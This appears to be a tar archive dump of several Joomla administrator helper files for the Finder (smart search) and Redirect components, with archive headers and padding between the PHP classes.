		$node->state = (int) $state;
		$node->access = (int) $access;

		// Add the node to the taxonomy branch.
		$this->taxonomy[$branch][$node->title] = $node;
	}
}
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������finder.php������������������������������������������������������������������������������������������0000666�����������������00000003121�15140234717�0006531 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

/**
 * Helper class for Finder.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
class FinderHelper
{
	/**
	 * @var		string	The extension name.
	 * @since	2.5
	 */
	public static $extension = 'com_finder';

	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public static function addSubmenu($vName)
	{
		JSubMenuHelper::addEntry(
			JText::_('COM_FINDER_SUBMENU_INDEX'),
			'index.php?option=com_finder&view=index',
			$vName == 'index'
		);
		JSubMenuHelper::addEntry(
			JText::_('COM_FINDER_SUBMENU_MAPS'),
			'index.php?option=com_finder&view=maps',
			$vName == 'maps'
		);
		JSubMenuHelper::addEntry(
			JText::_('COM_FINDER_SUBMENU_FILTERS'),
			'index.php?option=com_finder&view=filters',
			$vName == 'filters'
		);
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return  JObject  A JObject containing the allowed actions.
	 *
	 * @since   2.5
	 */
	public static function getActions()
	{
		$user = JFactory::getUser();
		$result = new JObject;
		$assetName = 'com_finder';

		$actions = JAccess::getActions($assetName, 'component');

		foreach ($actions as $action)
		{
			$result->set($action->name, $user->authorise($action->name, $assetName));
		}

		return $result;
	}
}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html/finder.php�������������������������������������������������������������������������������������0000666�����������������00000006154�15140234717�0007506 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

JLoader::register('FinderHelperLanguage', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/language.php');

/**
 * HTML behavior class for Finder.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
abstract class JHtmlFinder
{
	/**
	 * Creates a list of types to filter on.
	 *
	 * @return  array  An array containing the types that can be selected.
	 *
	 * @since   2.5
	 */
	public static function typeslist()
	{
		$lang = JFactory::getLanguage();

		// Load the finder types.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select('DISTINCT t.title AS text, t.id AS value');
		$query->from($db->quoteName('#__finder_types') . ' AS t');
		$query->join('LEFT', $db->quoteName('#__finder_links') . ' AS l ON l.type_id = t.id');
		$query->order('t.title ASC');
		$db->setQuery($query);
		$rows = $db->loadObjectList();

		// Check for database errors.
		if ($db->getErrorNum())
		{
			return;
		}

		// Compile the options.
		$options = array();

		foreach ($rows as $row)
		{
			$key = $lang->hasKey(FinderHelperLanguage::branchPlural($row->text))
					? FinderHelperLanguage::branchPlural($row->text) : $row->text;
			$string = JText::sprintf('COM_FINDER_ITEM_X_ONLY', JText::_($key));
			$options[] = JHtml::_('select.option', $row->value, $string);
		}

		return $options;
	}

	/**
	 * Creates a list of maps.
	 *
	 * @return  array  An array containing the maps that can be selected.
	 *
	 * @since   2.5
	 */
	public static function mapslist()
	{
		$lang = JFactory::getLanguage();

		// Load the finder types.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select('title AS text, id AS value');
		$query->from($db->quoteName('#__finder_taxonomy'));
		$query->where($db->quoteName('parent_id') . ' = 1');
		$query->order('ordering, title ASC');
		$db->setQuery($query);
		$rows = $db->loadObjectList();

		// Check for database errors.
		if ($db->getErrorNum())
		{
			return;
		}

		// Compile the options.
		$options = array();
		$options[] = JHtml::_('select.option', '1', JText::_('COM_FINDER_MAPS_BRANCHES'));

		foreach ($rows as $row)
		{
			$key = $lang->hasKey(FinderHelperLanguage::branchPlural($row->text))
					? FinderHelperLanguage::branchPlural($row->text) : $row->text;
			$string = JText::sprintf('COM_FINDER_ITEM_X_ONLY', JText::_($key));
			$options[] = JHtml::_('select.option', $row->value, $string);
		}

		return $options;
	}

	/**
	 * Creates a list of published states.
	 *
	 * @return  array  An array containing the states that can be selected.
	 *
	 * @since   2.5
	 */
	public static function statelist()
	{
		$options = array();
		$options[] = JHtml::_('select.option', '1', JText::sprintf('COM_FINDER_ITEM_X_ONLY', JText::_('JPUBLISHED')));
		$options[] = JHtml::_('select.option', '0', JText::sprintf('COM_FINDER_ITEM_X_ONLY', JText::_('JUNPUBLISHED')));

		return $options;
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redirect.php����������������������������������������������������������������������������������������0000666�����������������00000003742�15140275300�0007065 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access.
defined('_JEXEC') or die;

/**
 * Redirect component helper.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_redirect
 * @since		1.6
 */
class RedirectHelper
{
	public static $extension = 'com_redirect';

	/**
	 * Configure the Linkbar.
	 *
	 * @param	string	The name of the active view.
	 */
	public static function addSubmenu($vName)
	{
		// No submenu for this component.
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return	JObject
	 */
	public static function getActions()
	{
		$user		= JFactory::getUser();
		$result		= new JObject;
		$assetName	= 'com_redirect';

		$actions = JAccess::getActions($assetName);

		foreach ($actions as $action) {
			$result->set($action->name,	$user->authorise($action->name, $assetName));
		}

		return $result;
	}

	/**
	 * Returns an array of standard published state filter options.
	 *
	 * @return	string			The HTML code for the select tag
	 */
	public static function publishedOptions()
	{
		// Build the active state filter options.
		$options	= array();
		$options[]	= JHtml::_('select.option', '*', 'JALL');
		$options[]	= JHtml::_('select.option', '1', 'JENABLED');
		$options[]	= JHtml::_('select.option', '0', 'JDISABLED');
		$options[]	= JHtml::_('select.option', '2', 'JARCHIVED');
		$options[]	= JHtml::_('select.option', '-2', 'JTRASHED');

		return $options;
	}

	/**
	 * Determines if the plugin for Redirect to work is enabled.
	 *
	 * @return	boolean
	 */
	public static function isEnabled()
	{
		$db = JFactory::getDbo();
		$db->setQuery(
			'SELECT enabled' .
			' FROM #__extensions' .
			' WHERE folder = '.$db->quote('system').
			'  AND element = '.$db->quote('redirect')
		);
		$result = (boolean) $db->loadResult();
		if ($error = $db->getErrorMsg()) {
			JError::raiseWarning(500, $error);
		}
		return $result;
	}
}
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/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

/**
 * Utility class for creating HTML Grids
 *
 * @static
 * @package		Joomla.Administrator
 * @subpackage	com_redirect
 * @since		1.6
 */
class JHtmlRedirect
{
	/**
	 * @param	int $value	The state value.
	 * @param	int $i
	 * @param	string		An optional prefix for the task.
	 * @param	boolean		An optional setting for access control on the action.
	 */
	public static function published($value = 0, $i, $canChange = true)
	{
		// Array of image, task, title, action
		$states	= array(
			1	=> array('tick.png',		'links.unpublish',	'JENABLED',	'COM_REDIRECT_DISABLE_LINK'),
			0	=> array('publish_x.png',	'links.publish',		'JDISABLED',	'COM_REDIRECT_ENABLE_LINK'),
			2	=> array('disabled.png',	'links.unpublish',	'JARCHIVED',	'JUNARCHIVE'),
			-2	=> array('trash.png',		'links.publish',		'JTRASHED',	'COM_REDIRECT_ENABLE_LINK'),
		);
		$state	= JArrayHelper::getValue($states, (int) $value, $states[0]);
		$html	= JHtml::_('image', 'admin/'.$state[0], JText::_($state[2]), NULL, true);
		if ($canChange) {
			$html	= '<a href="#" onclick="return listItemTask(\'cb'.$i.'\',\''.$state[1].'\')" title="'.JText::_($state[3]).'">'
					. $html.'</a>';
		}

		return $html;
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������